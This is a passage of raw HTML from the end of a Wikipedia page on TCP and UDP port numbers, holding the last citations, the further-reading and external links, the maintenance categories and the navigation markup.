title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=WireGuard&amp;rft.atitle=Quick+Start+Guide&amp;rft_id=https%3A%2F%2Fwww.wireguard.com%2Fquickstart%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-417\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-417\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://mosh.org/\">\"Mosh\"</a>. mosh.org<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-07-10</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Mosh&amp;rft.pub=mosh.org&amp;rft_id=https%3A%2F%2Fmosh.org%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-murmurconfig73a0b2f-418\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-murmurconfig73a0b2f_418-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://github.com/mumble-voip/mumble/blob/73a0b2f88812e99ac50a78b22dad53336177e78e/scripts/murmur.ini#L123\">\"Mumble Murmur Server default config file - commit 73a0b2f\"</a>. <i>Mumble Source Code Repository</i>. Github<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">29 October</span> 2018</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Mumble+Source+Code+Repository&amp;rft.atitle=Mumble+Murmur+Server+default+config+file+-+commit+73a0b2f&amp;rft_id=https%3A%2F%2Fgithub.com%2Fmumble-voip%2Fmumble%2Fblob%2F73a0b2f88812e99ac50a78b22dad53336177e78e%2Fscripts%2Fmurmur.ini%23L123&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Verifiability#Self-published_sources\" title=\"Wikipedia:Verifiability\"><span title=\"This reference citation appears to be to a self-published source. (October 2018)\">self-published source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-419\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-419\">^</a></b></span> <span class=\"reference-text\">Touch, J., Lear, E., Kojo, M., Ono, K., Stiemerling, M., Eddy, W., Trammell, B., Iyengar, J., Scharf, M., Tuexen, M., Kohler , E., &amp; Nishida, Y. (2022, May 24). Service name and Transport Protocol Port Number Registry. iana.org. Retrieved May 25, 2022, from <a rel=\"nofollow\" class=\"external free\" href=\"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml\">https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml</a></span>\n</li>\n</ol></div>\n<style data-mw-deduplicate=\"TemplateStyles:r1054258005\">.mw-parser-output .refbegin{font-size:90%;margin-bottom:0.5em}.mw-parser-output .refbegin-hanging-indents>ul{margin-left:0}.mw-parser-output .refbegin-hanging-indents>ul>li{margin-left:0;padding-left:3.2em;text-indent:-3.2em}.mw-parser-output .refbegin-hanging-indents ul,.mw-parser-output .refbegin-hanging-indents ul li{list-style:none}@media(max-width:720px){.mw-parser-output .refbegin-hanging-indents>ul>li{padding-left:1.6em;text-indent:-1.6em}}.mw-parser-output .refbegin-columns{margin-top:0.3em}.mw-parser-output .refbegin-columns ul{margin-top:0}.mw-parser-output .refbegin-columns li{page-break-inside:avoid;break-inside:avoid-column}</style><div class=\"refbegin\" style=\"\">\n<ul><li><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFStretch\" class=\"citation web cs1\">Stretch, Jeremy. <a rel=\"nofollow\" class=\"external text\" href=\"http://packetlife.net/media/library/23/common_ports.pdf\">\"Common Ports\"</a> <span class=\"cs1-format\">(PDF)</span>. <i>PacketLife.net</i>. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20180328160447/http://packetlife.net/media/library/23/common_ports.pdf\">Archived</a> <span class=\"cs1-format\">(PDF)</span> from the original on 2018-03-28<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2019-02-09</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=PacketLife.net&amp;rft.atitle=Common+Ports&amp;rft.aulast=Stretch&amp;rft.aufirst=Jeremy&amp;rft_id=http%3A%2F%2Fpacketlife.net%2Fmedia%2Flibrary%2F23%2Fcommon_ports.pdf&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></li></ul>\n</div>\n<p><br />\n</p>\n<h2><span class=\"mw-headline\" id=\"Further_reading\">Further reading</span><span class=\"mw-editsection\"><span class=\"mw-editsection-bracket\">[</span><a href=\"/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;action=edit&amp;section=8\" title=\"Edit section: Further reading\">edit</a><span class=\"mw-editsection-bracket\">]</span></span></h2>\n<ul><li><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFReynoldsPostel1994\" class=\"citation cs1\"><a href=\"/wiki/Joyce_K._Reynolds\" title=\"Joyce K. Reynolds\">Reynolds, Joyce</a>; <a href=\"/wiki/Jon_Postel\" title=\"Jon Postel\">Postel, Jon</a> (October 1994). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1700\"><i>Assigned Numbers</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC1700\">10.17487/RFC1700</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1700\">1700</a>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Assigned+Numbers&amp;rft.pub=IETF&amp;rft.date=1994-10&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC1700&amp;rft.aulast=Reynolds&amp;rft.aufirst=Joyce&amp;rft.au=Postel%2C+Jon&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc1700&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></li></ul>\n<h2><span class=\"mw-headline\" id=\"External_links\">External links</span><span class=\"mw-editsection\"><span class=\"mw-editsection-bracket\">[</span><a href=\"/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;action=edit&amp;section=9\" title=\"Edit section: External links\">edit</a><span class=\"mw-editsection-bracket\">]</span></span></h2>\n<ul><li><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.iana.org/assignments/service-names-port-numbers/\">\"Service Name and Transport Protocol Port Number Registry\"</a>. <i>IANA.org</i>. <a href=\"/wiki/Internet_Assigned_Numbers_Authority\" title=\"Internet Assigned Numbers Authority\">Internet Assigned Numbers Authority</a>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=IANA.org&amp;rft.atitle=Service+Name+and+Transport+Protocol+Port+Number+Registry&amp;rft_id=https%3A%2F%2Fwww.iana.org%2Fassignments%2Fservice-names-port-numbers%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></li></ul>\n<style data-mw-deduplicate=\"TemplateStyles:r1130092004\">.mw-parser-output .portal-bar{font-size:88%;font-weight:bold;display:flex;justify-content:center;align-items:baseline}.mw-parser-output .portal-bar-bordered{padding:0 2em;background-color:#fdfdfd;border:1px solid #a2a9b1;clear:both;margin:1em auto 0}.mw-parser-output .portal-bar-related{font-size:100%;justify-content:flex-start}.mw-parser-output .portal-bar-unbordered{padding:0 1.7em;margin-left:0}.mw-parser-output .portal-bar-header{margin:0 1em 0 0.5em;flex:0 0 auto;min-height:24px}.mw-parser-output .portal-bar-content{display:flex;flex-flow:row wrap;flex:0 1 auto;padding:0.15em 0;column-gap:1em;align-items:baseline;margin:0;list-style:none}.mw-parser-output .portal-bar-content-related{margin:0;list-style:none}.mw-parser-output .portal-bar-item{display:inline-block;margin:0.15em 0.2em;min-height:24px;line-height:24px}@media screen and (max-width:768px){.mw-parser-output .portal-bar{font-size:88%;font-weight:bold;display:flex;flex-flow:column wrap;align-items:baseline}.mw-parser-output .portal-bar-header{text-align:center;flex:0;padding-left:0.5em;margin:0 auto}.mw-parser-output .portal-bar-related{font-size:100%;align-items:flex-start}.mw-parser-output .portal-bar-content{display:flex;flex-flow:row wrap;align-items:center;flex:0;column-gap:1em;border-top:1px solid #a2a9b1;margin:0 auto;list-style:none}.mw-parser-output .portal-bar-content-related{border-top:none;margin:0;list-style:none}}.mw-parser-output .navbox+link+.portal-bar,.mw-parser-output .navbox+style+.portal-bar,.mw-parser-output .navbox+link+.portal-bar-bordered,.mw-parser-output .navbox+style+.portal-bar-bordered,.mw-parser-output .sister-bar+link+.portal-bar,.mw-parser-output .sister-bar+style+.portal-bar,.mw-parser-output .portal-bar+.navbox-styles+.navbox,.mw-parser-output .portal-bar+.navbox-styles+.sister-bar{margin-top:-1px}</style><div class=\"portal-bar noprint metadata noviewer portal-bar-bordered\" role=\"navigation\" aria-label=\"Portals\"><span class=\"portal-bar-header\"><a href=\"/wiki/Wikipedia:Contents/Portals\" title=\"Wikipedia:Contents/Portals\">Portal</a>:</span><ul class=\"portal-bar-content\"><li class=\"portal-bar-item\"><a href=\"/wiki/File:Crystal_Clear_app_linneighborhood.svg\" class=\"image\"><img alt=\"icon\" src=\"//upload.wikimedia.org/wikipedia/commons/thumb/f/f9/Crystal_Clear_app_linneighborhood.svg/19px-Crystal_Clear_app_linneighborhood.svg.png\" decoding=\"async\" width=\"19\" height=\"19\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/f/f9/Crystal_Clear_app_linneighborhood.svg/29px-Crystal_Clear_app_linneighborhood.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/f/f9/Crystal_Clear_app_linneighborhood.svg/38px-Crystal_Clear_app_linneighborhood.svg.png 2x\" data-file-width=\"407\" data-file-height=\"407\" /></a>&#160;<a href=\"/wiki/Portal:Internet\" title=\"Portal:Internet\">Internet</a></li></ul></div>\n<!--\nNewPP limit report\nParsed by mw1375\nCached time: 20230115235709\nCache expiry: 1814400\nReduced expiry: false\nComplications: [vary‐revision‐sha1, show‐toc]\nCPU time usage: 5.498 seconds\nReal time usage: 5.706 seconds\nPreprocessor visited node count: 75819/1000000\nPost‐expand include size: 1493556/2097152 bytes\nTemplate argument size: 118426/2097152 bytes\nHighest expansion depth: 22/100\nExpensive parser function count: 48/500\nUnstrip recursion depth: 1/20\nUnstrip post‐expand size: 1232284/5000000 bytes\nLua time usage: 2.968/10.000 seconds\nLua memory usage: 9142896/52428800 bytes\nLua Profile:\n    MediaWiki\\Extension\\Scribunto\\Engines\\LuaSandbox\\LuaSandboxCallback::getAllExpandedArguments      500 ms       14.5%\n    ?                                                                440 ms       12.7%\n    MediaWiki\\Extension\\Scribunto\\Engines\\LuaSandbox\\LuaSandboxCallback::gsub      360 ms       10.4%\n    dataWrapper <mw.lua:672>                                         300 ms        8.7%\n    MediaWiki\\Extension\\Scribunto\\Engines\\LuaSandbox\\LuaSandboxCallback::getExpandedArgument      260 ms        7.5%\n    MediaWiki\\Extension\\Scribunto\\Engines\\LuaSandbox\\LuaSandboxCallback::sub      180 ms        5.2%\n    recursiveClone <mwInit.lua:41>                                   140 ms        4.0%\n    MediaWiki\\Extension\\Scribunto\\Engines\\LuaSandbox\\LuaSandboxCallback::callParserFunction      140 ms        4.0%\n    <mw.lua:694>                                                     120 ms        3.5%\n    select_one <Module:Citation/CS1/Utilities:426>                   120 ms        3.5%\n    [others]                                                         900 ms       26.0%\nNumber of Wikibase entities loaded: 0/400\n-->\n<!--\nTransclusion expansion time report (%,ms,calls,template)\n100.00% 4707.677      1 -total\n 63.32% 2981.005      2 Template:Reflist\n 23.75% 1118.289    239 Template:Cite_web\n 20.47%  963.619    146 Template:Fix\n 17.22%  810.602     83 Template:Cite_IETF\n 14.89%  700.761     83 Template:Citation_needed\n  9.70%  456.578    145 Template:Delink\n  7.24%  340.894    242 Template:Category_handler\n  5.37%  253.011     44 Template:Cite_book\n  3.46%  162.808     23 Template:User-generated_source\n-->\n\n<!-- Saved in parser cache with key enwiki:pcache:idhash:347136-0!canonical and timestamp 20230115235704 and revision id 1133881064.\n -->\n</div><!--esi <esi:include src=\"/esitest-fa8a495983347898/content\" /> --><noscript><img src=\"//en.wikipedia.org/wiki/Special:CentralAutoLogin/start?type=1x1\" alt=\"\" title=\"\" width=\"1\" height=\"1\" style=\"border: none; position: absolute;\" /></noscript>\n<div class=\"printfooter\" data-nosnippet=\"\">Retrieved from \"<a dir=\"ltr\" href=\"https://en.wikipedia.org/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;oldid=1133881064\">https://en.wikipedia.org/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;oldid=1133881064</a>\"</div></div>\n\t\t<div id=\"catlinks\" class=\"catlinks\" data-mw=\"interface\"><div id=\"mw-normal-catlinks\" class=\"mw-normal-catlinks\"><a href=\"/wiki/Help:Category\" title=\"Help:Category\">Categories</a>: <ul><li><a href=\"/wiki/Category:Computing-related_lists\" title=\"Category:Computing-related lists\">Computing-related lists</a></li><li><a href=\"/wiki/Category:Internet_protocols\" title=\"Category:Internet protocols\">Internet protocols</a></li><li><a href=\"/wiki/Category:Internet-related_lists\" title=\"Category:Internet-related lists\">Internet-related lists</a></li><li><a href=\"/wiki/Category:Lists_of_network_protocols\" title=\"Category:Lists of network protocols\">Lists of network protocols</a></li></ul></div><div id=\"mw-hidden-catlinks\" class=\"mw-hidden-catlinks mw-hidden-cats-hidden\">Hidden categories: <ul><li><a href=\"/wiki/Category:All_accuracy_disputes\" title=\"Category:All accuracy disputes\">All accuracy disputes</a></li><li><a href=\"/wiki/Category:Accuracy_disputes_from_October_2016\" title=\"Category:Accuracy disputes from October 2016\">Accuracy disputes from October 2016</a></li><li><a href=\"/wiki/Category:Accuracy_disputes_from_April_2018\" title=\"Category:Accuracy disputes from April 2018\">Accuracy disputes from April 2018</a></li><li><a href=\"/wiki/Category:Accuracy_disputes_from_November_2018\" title=\"Category:Accuracy disputes from November 2018\">Accuracy disputes from November 2018</a></li><li><a href=\"/wiki/Category:Webarchive_template_wayback_links\" title=\"Category:Webarchive template wayback links\">Webarchive template wayback links</a></li><li><a href=\"/wiki/Category:All_articles_with_dead_external_links\" title=\"Category:All articles with dead external links\">All articles with dead external links</a></li><li><a href=\"/wiki/Category:Articles_with_dead_external_links_from_March_2015\" title=\"Category:Articles with dead external links from March 2015\">Articles with dead external links from March 2015</a></li><li><a href=\"/wiki/Category:Accuracy_disputes_from_June_2017\" title=\"Category:Accuracy disputes from June 2017\">Accuracy disputes from June 2017</a></li><li><a href=\"/wiki/Category:CS1_maint:_url-status\" title=\"Category:CS1 maint: url-status\">CS1 maint: url-status</a></li><li><a href=\"/wiki/Category:Articles_with_dead_external_links_from_July_2017\" title=\"Category:Articles with dead external links from July 2017\">Articles with dead external links from July 2017</a></li><li><a href=\"/wiki/Category:CS1_errors:_missing_periodical\" title=\"Category:CS1 errors: missing periodical\">CS1 errors: missing periodical</a></li><li><a href=\"/wiki/Category:All_articles_with_bare_URLs_for_citations\" title=\"Category:All articles with bare URLs for citations\">All articles with bare URLs for citations</a></li><li><a href=\"/wiki/Category:Articles_with_bare_URLs_for_citations_from_June_2022\" title=\"Category:Articles with bare URLs for citations from June 2022\">Articles with bare URLs for citations from June 2022</a></li><li><a href=\"/wiki/Category:Articles_with_PDF_format_bare_URLs_for_citations\" title=\"Category:Articles with PDF format bare URLs for citations\">Articles with PDF format bare URLs for citations</a></li><li><a href=\"/wiki/Category:Articles_with_dead_external_links_from_June_2016\" title=\"Category:Articles with dead external links from June 2016\">Articles with dead external links from June 2016</a></li><li><a href=\"/wiki/Category:Accuracy_disputes_from_July_2017\" title=\"Category:Accuracy disputes from July 2017\">Accuracy disputes from July 2017</a></li><li><a href=\"/wiki/Category:Accuracy_disputes_from_August_2020\" title=\"Category:Accuracy disputes from August 2020\">Accuracy disputes from August 2020</a></li><li><a href=\"/wiki/Category:Accuracy_disputes_from_June_2013\" title=\"Category:Accuracy disputes from June 2013\">Accuracy disputes from June 2013</a></li><li><a href=\"/wiki/Category:Accuracy_disputes_from_January_2019\" title=\"Category:Accuracy disputes from January 2019\">Accuracy disputes from January 2019</a></li><li><a href=\"/wiki/Category:Accuracy_disputes_from_October_2018\" title=\"Category:Accuracy disputes from October 2018\">Accuracy disputes from October 2018</a></li><li><a href=\"/wiki/Category:Articles_with_short_description\" title=\"Category:Articles with short description\">Articles with short description</a></li><li><a href=\"/wiki/Category:Short_description_is_different_from_Wikidata\" title=\"Category:Short description is different from Wikidata\">Short description is different from Wikidata</a></li><li><a href=\"/wiki/Category:Articles_needing_additional_references_from_June_2015\" title=\"Category:Articles needing additional references from June 2015\">Articles needing additional references from June 2015</a></li><li><a href=\"/wiki/Category:All_articles_needing_additional_references\" title=\"Category:All articles needing additional references\">All articles needing additional references</a></li><li><a href=\"/wiki/Category:Articles_needing_additional_references_from_October_2016\" title=\"Category:Articles needing additional references from October 2016\">Articles needing additional references from October 2016</a></li><li><a href=\"/wiki/Category:Articles_with_multiple_maintenance_issues\" title=\"Category:Articles with multiple maintenance issues\">Articles with multiple maintenance issues</a></li><li><a href=\"/wiki/Category:Dynamic_lists\" title=\"Category:Dynamic lists\">Dynamic lists</a></li><li><a href=\"/wiki/Category:All_pages_needing_factual_verification\" title=\"Category:All pages needing factual verification\">All pages needing factual verification</a></li><li><a href=\"/wiki/Category:Wikipedia_articles_needing_factual_verification_from_October_2016\" title=\"Category:Wikipedia articles needing factual verification from October 2016\">Wikipedia articles needing factual verification from October 2016</a></li><li><a href=\"/wiki/Category:All_articles_with_unsourced_statements\" title=\"Category:All articles with unsourced statements\">All articles with unsourced statements</a></li><li><a href=\"/wiki/Category:Articles_with_unsourced_statements_from_October_2016\" title=\"Category:Articles with unsourced statements from October 2016\">Articles with unsourced statements from October 2016</a></li><li><a href=\"/wiki/Category:All_articles_that_are_too_technical\" title=\"Category:All articles that are too technical\">All articles that are too technical</a></li><li><a href=\"/wiki/Category:Wikipedia_articles_that_are_too_technical_from_October_2016\" title=\"Category:Wikipedia articles that are too technical from October 2016\">Wikipedia articles that are too technical from October 2016</a></li><li><a href=\"/wiki/Category:All_articles_needing_expert_attention\" title=\"Category:All articles needing expert attention\">All articles needing expert attention</a></li><li><a href=\"/wiki/Category:Articles_needing_expert_attention_from_October_2016\" title=\"Category:Articles needing expert attention from October 2016\">Articles needing expert attention from October 2016</a></li><li><a href=\"/wiki/Category:All_articles_with_self-published_sources\" title=\"Category:All articles with self-published sources\">All articles with self-published sources</a></li><li><a href=\"/wiki/Category:Articles_with_self-published_sources_from_October_2016\" title=\"Category:Articles with self-published sources from October 2016\">Articles with self-published sources from October 2016</a></li><li><a href=\"/wiki/Category:Articles_with_self-published_sources_from_April_2018\" title=\"Category:Articles with self-published sources from April 2018\">Articles with self-published sources from April 2018</a></li><li><a href=\"/wiki/Category:Articles_containing_potentially_dated_statements_from_2000\" title=\"Category:Articles containing potentially dated statements from 2000\">Articles containing potentially dated statements from 2000</a></li><li><a href=\"/wiki/Category:All_articles_containing_potentially_dated_statements\" title=\"Category:All articles containing potentially dated statements\">All articles containing potentially dated statements</a></li><li><a href=\"/wiki/Category:Articles_with_unsourced_statements_from_August_2016\" title=\"Category:Articles with unsourced statements from August 2016\">Articles with unsourced statements from August 2016</a></li><li><a href=\"/wiki/Category:All_articles_with_vague_or_ambiguous_time\" title=\"Category:All articles with vague or ambiguous time\">All articles with vague or ambiguous time</a></li><li><a href=\"/wiki/Category:Vague_or_ambiguous_time_from_September_2015\" title=\"Category:Vague or ambiguous time from September 2015\">Vague or ambiguous time from September 2015</a></li><li><a href=\"/wiki/Category:Vague_or_ambiguous_time_from_August_2016\" title=\"Category:Vague or ambiguous time from August 2016\">Vague or ambiguous time from August 2016</a></li><li><a href=\"/wiki/Category:Articles_with_unsourced_statements_from_March_2012\" title=\"Category:Articles with unsourced statements from March 2012\">Articles with unsourced statements from March 2012</a></li><li><a href=\"/wiki/Category:Articles_with_unsourced_statements_from_January_2018\" title=\"Category:Articles with unsourced statements from January 2018\">Articles with unsourced statements from January 2018</a></li><li><a href=\"/wiki/Category:Articles_with_unsourced_statements_from_November_2018\" title=\"Category:Articles with unsourced statements from November 2018\">Articles with unsourced statements from November 2018</a></li><li><a href=\"/wiki/Category:All_articles_with_failed_verification\" title=\"Category:All articles with failed verification\">All articles with failed verification</a></li><li><a href=\"/wiki/Category:Articles_with_failed_verification_from_August_2016\" title=\"Category:Articles with failed verification from August 2016\">Articles with failed verification from August 2016</a></li><li><a href=\"/wiki/Category:Articles_with_unsourced_statements_from_November_2011\" title=\"Category:Articles with unsourced statements from November 2011\">Articles with unsourced statements from November 2011</a></li><li><a href=\"/wiki/Category:Wikipedia_articles_needing_clarification_from_September_2015\" title=\"Category:Wikipedia articles needing clarification from September 2015\">Wikipedia articles needing clarification from September 2015</a></li><li><a href=\"/wiki/Category:Articles_containing_potentially_dated_statements_from_September_2017\" title=\"Category:Articles containing potentially dated statements from September 2017\">Articles containing potentially dated statements from September 2017</a></li><li><a href=\"/wiki/Category:Articles_containing_potentially_dated_statements_from_December_2017\" title=\"Category:Articles containing potentially dated statements from December 2017\">Articles containing potentially dated statements from December 2017</a></li><li><a href=\"/wiki/Category:All_articles_with_incomplete_citations\" title=\"Category:All articles with incomplete citations\">All articles with incomplete citations</a></li><li><a href=\"/wiki/Category:Articles_with_incomplete_citations_from_November_2016\" title=\"Category:Articles with incomplete citations from November 2016\">Articles with incomplete citations from November 2016</a></li><li><a href=\"/wiki/Category:Articles_with_unsourced_statements_from_June_2017\" title=\"Category:Articles with unsourced statements from June 2017\">Articles with unsourced statements from June 2017</a></li><li><a href=\"/wiki/Category:Articles_with_unsourced_statements_from_August_2017\" title=\"Category:Articles with unsourced statements from August 2017\">Articles with unsourced statements from August 2017</a></li><li><a href=\"/wiki/Category:Articles_with_unsourced_statements_from_December_2013\" title=\"Category:Articles with unsourced statements from December 2013\">Articles with unsourced statements from December 2013</a></li><li><a href=\"/wiki/Category:Articles_with_unsourced_statements_from_March_2021\" title=\"Category:Articles with unsourced statements from March 2021\">Articles with unsourced statements from March 2021</a></li><li><a href=\"/wiki/Category:Articles_with_unsourced_statements_from_January_2017\" title=\"Category:Articles with unsourced statements from January 2017\">Articles with unsourced statements from January 2017</a></li><li><a href=\"/wiki/Category:Articles_with_unsourced_statements_from_September_2016\" title=\"Category:Articles with unsourced statements from September 2016\">Articles with unsourced statements from September 2016</a></li><li><a href=\"/wiki/Category:Articles_with_unsourced_statements_from_February_2017\" title=\"Category:Articles with unsourced statements from February 2017\">Articles with unsourced statements from February 2017</a></li><li><a href=\"/wiki/Category:Articles_with_unsourced_statements_from_October_2018\" title=\"Category:Articles with unsourced statements from October 2018\">Articles with unsourced statements from October 2018</a></li><li><a href=\"/wiki/Category:Articles_with_unsourced_statements_from_May_2019\" title=\"Category:Articles with unsourced statements from May 2019\">Articles with unsourced statements from May 2019</a></li><li><a href=\"/wiki/Category:Articles_with_unsourced_statements_from_September_2017\" title=\"Category:Articles with unsourced statements from September 2017\">Articles with unsourced statements from September 2017</a></li><li><a href=\"/wiki/Category:All_articles_lacking_reliable_references\" title=\"Category:All articles lacking reliable references\">All articles lacking reliable references</a></li><li><a href=\"/wiki/Category:Articles_lacking_reliable_references_from_October_2016\" title=\"Category:Articles lacking reliable references from October 2016\">Articles lacking reliable references from October 2016</a></li><li><a href=\"/wiki/Category:Articles_with_unsourced_statements_from_August_2013\" title=\"Category:Articles with unsourced statements from August 2013\">Articles with unsourced statements from August 2013</a></li></ul></div></div>\n\t</div>\n</div>\n\n<div id=\"mw-navigation\">\n\t<h2>Navigation menu</h2>\n\t<div id=\"mw-head\">\n\n<nav id=\"p-personal\" class=\"vector-menu mw-portlet mw-portlet-personal vector-user-menu-legacy\" aria-labelledby=\"p-personal-label\" role=\"navigation\"  >\n\t<h3\n\t\tid=\"p-personal-label\"\n\n\t\tclass=\"vector-menu-heading \"\n\t>\n\t\t<span class=\"vector-menu-heading-label\">Personal tools</span>\n\t</h3>\n\t<div class=\"vector-menu-content\">\n\n\t    <ul class=\"vector-menu-content-list\"><li id=\"pt-anonuserpage\" class=\"mw-list-item\"><span title=\"The user page for the IP address you are editing as\">Not logged in</span></li><li id=\"pt-anontalk\" class=\"mw-list-item\"><a href=\"/wiki/Special:MyTalk\" title=\"Discussion about edits from this IP address [n]\" accesskey=\"n\"><span>Talk</span></a></li><li id=\"pt-anoncontribs\" class=\"mw-list-item\"><a href=\"/wiki/Special:MyContributions\" title=\"A list of edits made from this IP address [y]\" accesskey=\"y\"><span>Contributions</span></a></li><li id=\"pt-createaccount\" class=\"mw-list-item\"><a href=\"/w/index.php?title=Special:CreateAccount&amp;returnto=List+of+TCP+and+UDP+port+numbers\" title=\"You are encouraged to create an account and log in; however, it is not mandatory\"><span>Create account</span></a></li><li id=\"pt-login\" class=\"mw-list-item\"><a href=\"/w/index.php?title=Special:UserLogin&amp;returnto=List+of+TCP+and+UDP+port+numbers\" title=\"You&#039;re encouraged to log in; however, it&#039;s not mandatory. [o]\" accesskey=\"o\"><span>Log in</span></a></li></ul>\n\n\t</div>\n</nav>\n\n\t\t<div id=\"left-navigation\">\n\n<nav id=\"p-namespaces\" class=\"vector-menu mw-portlet mw-portlet-namespaces vector-menu-tabs vector-menu-tabs-legacy\" aria-labelledby=\"p-namespaces-label\" role=\"navigation\"  >\n\t<h3\n\t\tid=\"p-namespaces-label\"\n\n\t\tclass=\"vector-menu-heading \"\n\t>\n\t\t<span class=\"vector-menu-heading-label\">Namespaces</span>\n\t</h3>\n\t<div class=\"vector-menu-content\">\n\n\t    <ul class=\"vector-menu-content-list\"><li id=\"ca-nstab-main\" class=\"selected mw-list-item\"><a href=\"/wiki/List_of_TCP_and_UDP_port_numbers\" title=\"View the content page [c]\" accesskey=\"c\"><span>Article</span></a></li><li id=\"ca-talk\" class=\"mw-list-item\"><a href=\"/wiki/Talk:List_of_TCP_and_UDP_port_numbers\" rel=\"discussion\" title=\"Discuss improvements to the content page [t]\" accesskey=\"t\"><span>Talk</span></a></li></ul>\n\n\t</div>\n</nav>\n\n\n<nav id=\"p-variants\" class=\"vector-menu mw-portlet mw-portlet-variants emptyPortlet vector-menu-dropdown-noicon vector-menu-dropdown\" aria-labelledby=\"p-variants-label\" role=\"navigation\"  >\n\t<input type=\"checkbox\"\n\t\tid=\"p-variants-checkbox\"\n\t\trole=\"button\"\n\t\taria-haspopup=\"true\"\n\t\tdata-event-name=\"ui.dropdown-p-variants\"\n\t\tclass=\"vector-menu-checkbox\"\n\t\taria-labelledby=\"p-variants-label\"\n\t/>\n\t<label\n\t\tid=\"p-variants-label\"\n\t\t aria-label=\"Change language variant\"\n\t\tclass=\"vector-menu-heading \"\n\t>\n\t\t<span class=\"vector-menu-heading-label\">English</span>\n\t</label>\n\t<div class=\"vector-menu-content\">\n\n\t    <ul class=\"vector-menu-content-list\"></ul>\n\n\t</div>\n</nav>\n\n\t\t</div>\n\t\t<div id=\"right-navigation\">\n\n<nav id=\"p-views\" class=\"vector-menu mw-portlet mw-portlet-views vector-menu-tabs vector-menu-tabs-legacy\" aria-labelledby=\"p-views-label\" role=\"navigation\"  >\n\t<h3\n\t\tid=\"p-views-label\"\n\n\t\tclass=\"vector-menu-heading \"\n\t>\n\t\t<span class=\"vector-menu-heading-label\">Views</span>\n\t</h3>\n\t<div class=\"vector-menu-content\">\n\n\t    <ul class=\"vector-menu-content-list\"><li id=\"ca-view\" class=\"selected mw-list-item\"><a href=\"/wiki/List_of_TCP_and_UDP_port_numbers\"><span>Read</span></a></li><li id=\"ca-edit\" class=\"mw-list-item\"><a 